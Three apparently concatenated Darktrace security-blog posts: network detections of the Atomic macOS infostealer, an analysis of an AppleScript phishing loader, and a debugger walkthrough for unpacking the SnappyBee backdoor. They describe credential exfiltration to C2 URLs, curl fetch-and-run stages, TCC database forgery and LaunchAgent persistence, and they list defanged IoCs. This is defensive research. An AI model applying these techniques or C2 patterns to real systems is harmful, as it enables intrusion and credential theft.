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December 4, 2025

Atomic Stealer: Darktrace’s Investigation of a Growing macOS Threat

Atomic Stealer is rapidly emerging as a significant macOS threat, using infostealing and backdoor capabilities to target Apple users worldwide. Darktrace observed campaigns in 24 countries, detecting activity across multiple kill chain stages and providing recommended actions to contain attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Isabel Evans
Cyber Analyst
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04
Dec 2025

The Rise of Infostealers Targeting Apple Users

In a threat landscape historically dominated by Windows-based threats, the growing prevalence of macOS information stealers targeting Apple users is becoming an increasing concern for organizations. Infostealers are a type of malware designed to steal sensitive data from target devices, often enabling attackers to extract credentials and financial data for resale or further exploitation. Recent research identified infostealers as the largest category of new macOS malware, with an alarming 101% increase in the last two quarters of 2024 [1].

What is Atomic Stealer?

Among the most notorious is Atomic macOS Stealer (or AMOS), first observed in 2023. Known for its sophisticated build, Atomic Stealer can exfiltrate a wide range of sensitive information including keychain passwords, cookies, browser data and cryptocurrency wallets.

Originally marketed on Telegram as a Malware-as-a-Service (MaaS), Atomic Stealer has become a popular malware due to its ability to target macOS. Like other MaaS offerings, it includes services like a web panel for managing victims, with reports indicating a monthly subscription cost between $1,000 and $3,000 [2]. Although Atomic Stealer’s original intent was as a standalone MaaS product, its unique capability to target macOS has led to new variants emerging at an unprecedented rate

Even more concerning, the most recent variant has now added a backdoor for persistent access [3]. This backdoor presents a significant threat, as Atomic Stealer campaigns are believed to have reached an around 120 countries. The addition of a backdoor elevates Atomic Stealer to the rare category of backdoor deployments potentially at a global scale, something only previously attributed to nation-state threat actors [4].

This level of sophistication is also evident in the wide range of distribution methods observed since its first appearance; including fake application installers, malvertising and terminal command execution via the ClickFix technique. The ClickFix technique is particularly noteworthy: once the malware is downloaded onto the device, users are presented with what appears to be a legitimate macOS installation prompt. In reality, however, the user unknowingly initiates the execution of the Atomic Stealer malware.

This blog will focus on activity observed across multiple Darktrace customer environments where Atomic Stealer was detected, along with several indicators of compromise (IoCs). These included devices that successfully connected to endpoints associated with Atomic Stealer, those that attempted but failed to establish connections, and instances suggesting potential data exfiltration activity.

Darktrace’s Coverage of Atomic Stealer

As this evolving threat began to spread across the internet in June 2025, Darktrace observed a surge in Atomic Stealer activity, impacting numerous customers in 24 different countries worldwide. Initially, most of the cases detected in 2025 affected Darktrace customers within the Europe, Middle East, and Africa (EMEA) region. However, later in the year, Darktrace began to observe a more even distribution of cases across EMEA, the Americas (AMS), and Asia Pacific (APAC). While multiple sectors were impacted by Atomic Stealer, Darktrace customers in the education sector were the most affected, particularly during September and October, coinciding with the return to school and universities after summer closures. This spike likely reflects increased device usage as students returned and reconnected potentially compromised devices to school and campus environments.

Starting from June, Darktrace detected multiple events of suspicious HTTP activity to external connections to IPs in the range 45.94.47.0/24. Investigation by Darktrace’s Threat Research team revealed several distinct patterns ; HTTP POST requests to the URI “/contact”, identical cURL User Agents and HTTP requests to “/api/tasks/[base64 string]” URIs.

Within one observed customer’s environment in July, Darktrace detected two devices making repeated initiated HTTP connections over port 80 to IPs within the same range. The first, Device A, was observed making GET requests to the IP 45.94.47[.]158 (AS60781 LeaseWeb Netherlands B.V.), targeting the URI “/api/tasks/[base64string]” using the “curl/8.7.2” user agent. This pattern suggested beaconing activity and triggered the ‘Beaconing Activity to External Rare' model alert in Darktrace / NETWORK, with Device A’s Model Event Log showing repeated connections. The IP associated with this endpoint has since been flagged by multiple open-source intelligence (OSINT) vendors as being associated with Atomic Stealer [5].

Darktrace’s detection of Device A showing repeated connections to the suspicious IP address over port 80, indicative of beaconing behavior.
Figure 1: Darktrace’s detection of Device A showing repeated connections to the suspicious IP address over port 80, indicative of beaconing behavior.

Darktrace’s Cyber AI Analyst subsequently launched an investigation into the activity, uncovering that the GET requests resulted in a ‘503 Service Unavailable’ response, likely indicating that the server was temporarily unable to process the requests.

Cyber AI Analyst Incident showing the 503 Status Code, indicating that the server was temporarily unavailable.
Figure 2: Cyber AI Analyst Incident showing the 503 Status Code, indicating that the server was temporarily unavailable.

This unusual activity prompted Darktrace’s Autonomous Response capability to recommend several blocking actions for the device in an attempt to stop the malicious activity. However, as the customer’s Autonomous Response configuration was set to Human Confirmation Mode, Darktrace was unable to automatically apply these actions. Had Autonomous Response been fully enabled, these connections would have been blocked, likely rendering the malware ineffective at reaching its malicious command-and-control (C2) infrastructure.

Autonomous Response’s suggested actions to block suspicious connectivity on Device A in the first customer environment.
Figure 3: Autonomous Response’s suggested actions to block suspicious connectivity on Device A in the first customer environment.

In another customer environment in August, Darktrace detected similar IoCs, noting a device establishing a connection to the external endpoint 45.94.47[.]149 (ASN: AS57043 Hostkey B.V.). Shortly after the initial connections, the device was observed making repeated requests to the same destination IP, targeting the URI /api/tasks/[base64string] with the user agent curl/8.7.1, again suggesting beaconing activity. Further analysis of this endpoint after the fact revealed links to Atomic Stealer in OSINT reporting [6].

Cyber AI Analyst investigation finding a suspicious URI and user agent for the offending device within the second customer environment.
Figure 4:  Cyber AI Analyst investigation finding a suspicious URI and user agent for the offending device within the second customer environment.

As with the customer in the first case, had Darktrace’s Autonomous Response been properly configured on the customer’s network, it would have been able to block connectivity with 45.94.47[.]149. Instead, Darktrace suggested recommended actions that the customer’s security team could manually apply to help contain the attack.

Autonomous Response’s suggested actions to block suspicious connectivity to IP 45.94.47[.]149 for the device within the second customer environment.
Figure 5: Autonomous Response’s suggested actions to block suspicious connectivity to IP 45.94.47[.]149 for the device within the second customer environment.

In the most recent case observed by Darktrace in October, multiple instances of Atomic Stealer activity were seen across one customer’s environment, with two devices communicating with Atomic Stealer C2 infrastructure. During this incident, one device was observed making an HTTP GET request to the IP 45.94.47[.]149 (ASN: AS60781 LeaseWeb Netherlands B.V.). These connections targeted the URI /api/tasks/[base64string, using the user agent curl/8.7.1.  

Shortly afterward, the device began making repeated connections over port 80 to the same external IP, 45.94.47[.]149. This activity continued for several days until Darktrace detected the device making an HTTP POST request to a new IP, 45.94.47[.]211 (ASN: AS57043 Hostkey B.V.), this time targeting the URI /contact, again using the curl/8.7.1 user agent. Similar to the other IPs observed in beaconing activity, OSINT reporting later linked this one to information stealer C2 infrastructure [7].

Darktrace’s detection of suspicious beaconing connectivity with the suspicious IP 45.94.47.211.
Figure 6: Darktrace’s detection of suspicious beaconing connectivity with the suspicious IP 45.94.47.211.

Further investigation into this customer’s network revealed that similar activity had been occurring as far back as August, when Darktrace detected data exfiltration on a second device. Cyber AI Analyst identified this device making a single HTTP POST connection to the external IP 45.94.47[.]144, another IP with malicious links [8], using the user agent curl/8.7.1 and targeting the URI /contact.

Cyber AI Analyst investigation finding a successful POST request to 45.94.47[.]144 for the device within the third customer environment.
Figure 7:  Cyber AI Analyst investigation finding a successful POST request to 45.94.47[.]144 for the device within the third customer environment.

A deeper investigation into the technical details within the POST request revealed the presence of a file named “out.zip”, suggesting potential data exfiltration.

Advanced Search log in Darktrace / NETWORK showing “out.zip”, indicating potential data exfiltration for a device within the third customer environment.
Figure 8: Advanced Search log in Darktrace / NETWORK showing “out.zip”, indicating potential data exfiltration for a device within the third customer environment.

Similarly, in another environment, Darktrace was able to collect a packet capture (PCAP) of suspected Atomic Stealer activity, which revealed potential indicators of data exfiltration. This included the presence of the “out.zip” file being exfiltrated via an HTTP POST request, along with data that appeared to contain details of an Electrum cryptocurrency wallet and possible passwords.

Read more about Darktrace’s full deep dive into a similar case where this tactic was leveraged by malware as part of an elaborate cryptocurrency scam.

PCAP of an HTTP POST request showing the file “out.zip” and details of Electrum Cryptocurrency wallet.
Figure 9: PCAP of an HTTP POST request showing the file “out.zip” and details of Electrum Cryptocurrency wallet.

Although recent research attributes the “out.zip” file to a new variant named SHAMOS [9], it has also been linked more broadly to Atomic Stealer [10]. Indeed, this is not the first instance where Darktrace has seen the “out.zip” file in cases involving Atomic Stealer either. In a previous blog detailing a social engineering campaign that targeted cryptocurrency users with the Realst Stealer, the macOS version of Realst contained a binary that was found to be Atomic Stealer, and similar IoCs were identified, including artifacts of data exfiltration such as the “out.zip” file.

Conclusion

The rapid rise of Atomic Stealer and its ability to target macOS marks a significant shift in the threat landscape and should serve as a clear warning to Apple users who were traditionally perceived as more secure in a malware ecosystem historically dominated by Windows-based threats.

Atomic Stealer’s growing popularity is now challenging that perception, expanding its reach and accessibility to a broader range of victims. Even more concerning is the emergence of a variant embedded with a backdoor, which is likely to increase its appeal among a diverse range of threat actors. Darktrace’s ability to adapt and detect new tactics and IoCs in real time delivers the proactive defense organizations need to protect themselves against emerging threats before they can gain momentum.

Credit to Isabel Evans (Cyber Analyst), Dylan Hinz (Associate Principal Cyber Analyst)
Edited by Ryan Traill (Analyst Content Lead)

Appendices

References

1.     https://www.scworld.com/news/infostealers-targeting-macos-jumped-by-101-in-second-half-of-2024

2.     https://www.kandji.io/blog/amos-macos-stealer-analysis

3.     https://www.broadcom.com/support/security-center/protection-bulletin/amos-stealer-adds-backdoor

4.     https://moonlock.com/amos-backdoor-persistent-access

5.     https://www.virustotal.com/gui/ip-address/45.94.47.158/detection

6.     https://www.trendmicro.com/en_us/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html

7.     https://www.virustotal.com/gui/ip-address/45.94.47.211/detection

8.     https://www.virustotal.com/gui/ip-address/45.94.47.144/detection

9.     https://securityaffairs.com/181441/malware/over-300-entities-hit-by-a-variant-of-atomic-macos-stealer-in-recent-campaign.html

10.   https://binhex.ninja/malware-analysis-blogs/amos-stealer-atomic-stealer-malware.html

Darktrace Model Detections

Darktrace / NETWORK

  • Compromise / Beaconing Activity To External Rare
  • Compromise / HTTP Beaconing to New IP
  • Compromise / HTTP Beaconing to Rare Destination
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Device / New User Agent
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Compromise / Slow Beaconing Activity To External Rare
  • Anomalous Connection / Posting HTTP to IP Without Hostname
  • Compromise / Quick and Regular Windows HTTP Beaconing

Autonomous Response

  • Antigena / Network / Significant Anomaly::Antigena Alerts Over Time Block
  • Antigena / Network / Significant Anomaly::Antigena Significant Anomaly from Client Block
  • Antigena / Network / External Threat::Antigena Suspicious Activity Block

List of IoCs

  • 45.94.47[.]149 – IP – Atomic C2 Endpoint
  • 45.94.47[.]144 – IP – Atomic C2 Endpoint
  • 45.94.47[.]158 – IP – Atomic C2 Endpoint
  • 45.94.47[.]211 – IP – Atomic C2 Endpoint
  • out.zip - File Output – Possible ZIP file for Data Exfiltration

MITRE ATT&CK Mapping:

Tactic –Technique – Sub-Technique

Execution - T1204.002 - User Execution: Malicious File

Credential Access - T1555.001 - Credentials from Password Stores: Keychain

Credential Access - T1555.003 - Credentials from Web Browsers

Command & Control - T1071 - Application Layer Protocol

Exfiltration - T1041 - Exfiltration Over C2 Channel

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Isabel Evans
Cyber Analyst

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February 6, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

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Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

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Tara Gould
Malware Research Lead

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February 5, 2026

Darktrace Malware Analysis: Unpacking SnappyBee

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Introduction

The aim of this blog is to be an educational resource, documenting how an analyst can perform malware analysis techniques such as unpacking. This blog will demonstrate the malware analysis process against well-known malware, in this case SnappyBee.

SnappyBee (also known as Deed RAT) is a modular backdoor that has been previously attributed to China-linked cyber espionage group Salt Typhoon, also known as Earth Estries [1] [2]. The malware was first publicly documented by TrendMicro in November 2024 as part of their investigation into long running campaigns targeting various industries and governments by China-linked threat groups.

In these campaigns, SnappyBee is deployed post-compromise, after the attacker has already obtained access to a customer's system, and is used to establish long-term persistence as well as deploying further malware such as Cobalt Strike and the Demodex rootkit.

To decrease the chance of detection, SnappyBee uses a custom packing routine. Packing is a common technique used by malware to obscure its true payload by hiding it and then stealthily loading and executing it at runtime. This hinders analysis and helps the malware evade detection, especially during static analysis by both human analysts and anti-malware services.

This blog is a practical guide on how an analyst can unpack and analyze SnappyBee, while also learning the necessary skills to triage other malware samples from advanced threat groups.

First principles

Packing is not a new technique, and threat actors have generally converged on a standard approach. Packed binaries typically feature two main components: the packed data and an unpacking stub, also called a loader, to unpack and run the data.

Typically, malware developers insert a large blob of unreadable data inside an executable, such as in the .rodata section. This data blob is the true payload of the malware, but it has been put through a process such as encryption, compression, or another form of manipulation to render it unreadable. Sometimes, this data blob is instead shipped in a different file, such as a .dat file, or a fake image. When this happens, the main loader has to read this using a syscall, which can be useful for analysis as syscalls can be easily identified, even in heavily obfuscated binaries.

In the main executable, malware developers will typically include an unpacking stub that takes the data blob, performs one or more operations on it, and then triggers its execution. In most samples, the decoded payload data is loaded into a newly allocated memory region, which will then be marked as executable and executed. In other cases, the decoded data is instead dropped into a new executable on disk and run, but this is less common as it increases the likelihood of detection.

Finding the unpacking routine

The first stage of analysis is uncovering the unpacking routine so it can be reverse engineered. There are several ways to approach this, but it is traditionally first triaged via static analysis on the initial stages available to the analyst.

SnappyBee consists of two components that can be analyzed:

  • A Dynamic-link Library (DLL) that acts as a loader, responsible for unpacking the malicious code
  • A data file shipped alongside the DLL, which contains the encrypted malicious code

Additionally, SnappyBee includes a legitimate signed executable that is vulnerable to DLL side-loading. This means that when the executable is run, it will inadvertently load SnappyBee’s DLL instead of the legitimate one it expects. This allows SnappyBee to appear more legitimate to antivirus solutions.

The first stage of analysis is performing static analysis of the DLL. This can be done by opening the DLL within a disassembler such as IDA Pro. Upon opening the DLL, IDA will display the DllMain function, which is the malware’s initial entry point and the first code executed when the DLL is loaded.

The DllMain function
Figure 1: The DllMain function

First, the function checks if the variable fdwReason is set to 1, and exits if it is not. This variable is set by Windows to indicate why the DLL was loaded. According to Microsoft Developer Network (MSDN), a value of 1 corresponds to DLL_PROCESS_ATTACH, meaning “The DLL is being loaded into the virtual address space of the current process as a result of the process starting up or as a result of a call to LoadLibrary” [3]. Since SnappyBee is known to use DLL sideloading for execution, DLL_PROCESS_ATTACH is the expected value when the legitimate executable loads the malicious DLL.

SnappyBee then uses the GetModule and GetProcAddress to dynamically resolve the address of the VirtualProtect in kernel32 and StartServiceCtrlDispatcherW in advapi32. Resolving these dynamically at runtime prevents them from showing up as a static import for the module, which can help evade detection by anti-malware solutions. Different regions of memory have different permissions to control what they can be used for, with the main ones being read, write, and execute. VirtualProtect is a function that changes the permissions of a given memory region.

SnappyBee then uses VirtualProtect to set the memory region containing the code for the StartServiceCtrlDispatcherW function as writable. It then inserts a jump instruction at the start of this function, redirecting the control flow to one of the SnappyBee DLL’s other functions, and then restores the old permissions.

In practice, this means when the legitimate executable calls StartServiceCtrlDispatcherW, it will immediately hand execution back to SnappyBee. Meanwhile, the call stack now appears more legitimate to outside observers such as antimalware solutions.

The hooked-in function then reads the data file that is shipped with SnappyBee and loads it into a new memory allocation. This pattern of loading the file into memory likely means it is responsible for unpacking the next stage.

The start of the unpacking routine that reads in dbindex.dat.
Figure 2: The start of the unpacking routine that reads in dbindex.dat.

SnappyBee then proceeds to decrypt the memory allocation and execute the code.

The memory decryption routine.
Figure 3: The memory decryption routine.

This section may look complex, however it is fairly straight forward. Firstly, it uses memset to zero out a stack variable, which will be used to store the decryption key. It then uses the first 16 bytes of the data file as a decryption key to initialize the context from.

SnappyBee then calls the mbed_tls_arc4_crypt function, which is a function from the mbedtls library. Documentation for this function can be found online and can be referenced to better understand what each of the arguments mean [4].

The documentation for mbedtls_arc4_crypt.
Figure 4: The documentation for mbedtls_arc4_ crypt.

Comparing the decompilation with the documentation, the arguments SnappyBee passes to the function can be decoded as:

  • The context derived from 16-byte key at the start of the data is passed in as the context in the first parameter
  • The file size minus 16 bytes (to account for the key at the start of the file) is the length of the data to be decrypted
  • A pointer to the file contents in memory, plus 16 bytes to skip the key, is used as the input
  • A pointer to a new memory allocation obtained from VirtualAlloc is used as the output

So, putting it all together, it can be concluded that SnappyBee uses the first 16 bytes as the key to decrypt the data that follows , writing the output into the allocated memory region.

SnappyBee then calls VirtualProtect to set the decrypted memory region as Read + Execute, and subsequently executes the code at the memory pointer. This is clearly where the unpacked code containing the next stage will be placed.

Unpacking the malware

Understanding how the unpacking routine works is the first step. The next step is obtaining the actual code, which cannot be achieved through static analysis alone.

There are two viable methods to retrieve the next stage. The first method is implementing the unpacking routine from scratch in a language like Python and running it against the data file.

This is straightforward in this case, as the unpacking routine in relatively simple and would not require much effort to re-implement. However, many unpacking routines are far more complex, which leads to the second method: allowing the malware to unpack itself by debugging it and then capturing the result. This is the approach many analysts take to unpacking, and the following will document this method to unpack SnappyBee.

As SnappyBee is 32-bit Windows malware, debugging can be performed using x86dbg in a Windows sandbox environment to debug SnappyBee. It is essential this sandbox is configured correctly, because any mistake during debugging could result in executing malicious code, which could have serious consequences.

Before debugging, it is necessary to disable the DYNAMIC_BASE flag on the DLL using a tool such as setdllcharacteristics. This will stop ASLR from randomizing the memory addresses each time the malware runs and ensures that it matches the addresses observed during static analysis.

The first place to set a breakpoint is DllMain, as this is the start of the malicious code and the logical place to pause before proceeding. Using IDA, the functions address can be determined; in this case, it is at offset 10002DB0. This can be used in the Goto (CTRL+G) dialog to jump to the offset and place a breakpoint. Note that the “Run to user code” button may need to be pressed if the DLL has not yet been loaded by x32dbg, as it spawns a small process to load the DLL as DLLs cannot be executed directly.

The program can then run until the breakpoint, at which point the program will pause and code recognizable from static analysis can be observed.

Figure 5: The x32dbg dissassembly listing forDllMain.

In the previous section, this function was noted as responsible for setting up a hook, and in the disassembly listing the hook address can be seen being loaded at offset 10002E1C. It is not necessary to go through the whole hooking process, because only the function that gets hooked in needs to be run. This function will not be naturally invoked as the DLL is being loaded directly rather than via sideloading as it expects. To work around this, the Extended Instruction Pointer (EIP) register can be manipulated to point to the start of the hook function instead, which will cause it to run instead of the DllMain function.

To update EIP, the CRTL+G dialog can again be used to jump to the hook function address (10002B50), and then the EIP register can be set to this address by right clicking the first instruction and selecting “Set EIP here”. This will make the hook function code run next.

Figure 6: The start of the hookedin-in function

Once in this function, there are a few addresses where breakpoints should be set in order to inspect the state of the program at critical points in the unpacking process. These are:

-              10002C93, which allocates the memory for the data file and final code

-              10002D2D, which decrypts the memory

-              10002D81, which runs the unpacked code

Setting these can be done by pressing the dot next to the instruction listing, or via the CTRL+G Goto menu.

At the first breakpoint, the call to VirtualAlloc will be executed. The function returns the memory address of the created memory region, which is stored in the EAX register. In this case, the region was allocated at address 00700000.

Figure 7: The result of the VirtualAlloc call.

It is possible to right click the address and press “Follow in dump” to pin the contents of the memory to the lower pane, which makes it easy to monitor the region as the unpacking process continues.

Figure 8: The allocated memory region shown in x32dbg’s dump.

Single-stepping through the application from this point eventually reaches the call to ReadFile, which loads the file into the memory region.

Figure 9: The allocated memory region after the file is read into it, showing high entropy data.

The program can then be allowed to run until the next breakpoint, which after single-stepping will execute the call to mbedtls_arc4_crypt to decrypt the memory. At this point, the data in the dump will have changed.

Figure 10: The same memory region after the decryption is run, showing lower entropy data.

Right-clicking in the dump and selecting "Disassembly” will disassemble the data. This yields valid shell code, indicating that the unpacking succeeded, whereas corrupt or random data would be expected if the unpacking had failed.

Figure 11: The disassembly view of the allocated memory.

Right-clicking and selecting “Follow in memory map” will show the memory allocation under the memory map view. Right-clicking this then provides an option to dump the entire memory block to file.

Figure 12: Saving the allocated memory region.

This dump can then be opened in IDA, enabling further static analysis of the shellcode. Reviewing the shellcode, it becomes clear that it performs another layer of unpacking.

As the debugger is already running, the sample can be allowed to execute up to the final breakpoint that was set on the call to the unpacked shellcode. Stepping into this call will then allow debugging of the new shellcode.

The simplest way to proceed is to single-step through the code, pausing on each call instruction to consider its purpose. Eventually, a call instruction that points to one of the memory regions that were assigned will be reached, which will contain the next layer of unpacked code. Using the same disassembly technique as before, it can be confirmed that this is more unpacked shellcode.

Figure 13: The unpacked shellcode’s call to RDI, which points to more unpacked shellcode. Note this screenshot depicts the 64-bit variant of SnappyBee instead of 32-bit, however the theory is the same.

Once again, this can be dumped out and analyzed further in IDA. In this case, it is the final payload used by the SnappyBee malware.

Conclusion

Unpacking remains one of the most common anti-analysis techniques and is a feature of most sophisticated malware from threat groups. This technique of in-memory decryption reduces the forensic “surface area” of the malware, helping it to evade detection from anti-malware solutions. This blog walks through one such example and provides practical knowledge on how to unpack malware for deeper analysis.

In addition, this blog has detailed several other techniques used by threat actors to evade analysis, such as DLL sideloading to execute code without arising suspicion, dynamic API resolving to bypass static heuristics, and multiple nested stages to make analysis challenging.

Malware such as SnappyBee demonstrates a continued shift towards highly modular and low-friction malware toolkits that can be reused across many intrusions and campaigns. It remains vital for security teams  to maintain the ability to combat the techniques seen in these toolkits when responding to infections.

While the technical details of these techniques are primarily important to analysts, the outcomes of this work directly affect how a Security Operations Centre (SOC) operates at scale. Without the technical capability to reliably unpack and observe these samples, organizations are forced to respond without the full picture.

The techniques demonstrated here help close that gap. This enables security teams to reduce dwell time by understanding the exact mechanisms of a sample earlier, improve detection quality with behavior-based indicators rather than relying on hash-based detections, and increase confidence in response decisions when determining impact.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

SnappyBee Loader 1 - 25b9fdef3061c7dfea744830774ca0e289dba7c14be85f0d4695d382763b409b

SnappyBee Loader 2 - b2b617e62353a672626c13cc7ad81b27f23f91282aad7a3a0db471d84852a9ac          

SnappyBee Payload - 1a38303fb392ccc5a88d236b4f97ed404a89c1617f34b96ed826e7bb7257e296

References

[1] https://www.trendmicro.com/en_gb/research/24/k/earth-estries.html

[2] https://www.darktrace.com/blog/salty-much-darktraces-view-on-a-recent-salt-typhoon-intrusion

[3] https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain#parameters

[4] https://mbed-tls.readthedocs.io/projects/api/en/v2.28.4/api/file/arc4_8h/#_CPPv418mbedtls_arc4_cryptP20mbedtls_arc4_context6size_tPKhPh

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About the author
Nathaniel Bill
Malware Research Engineer
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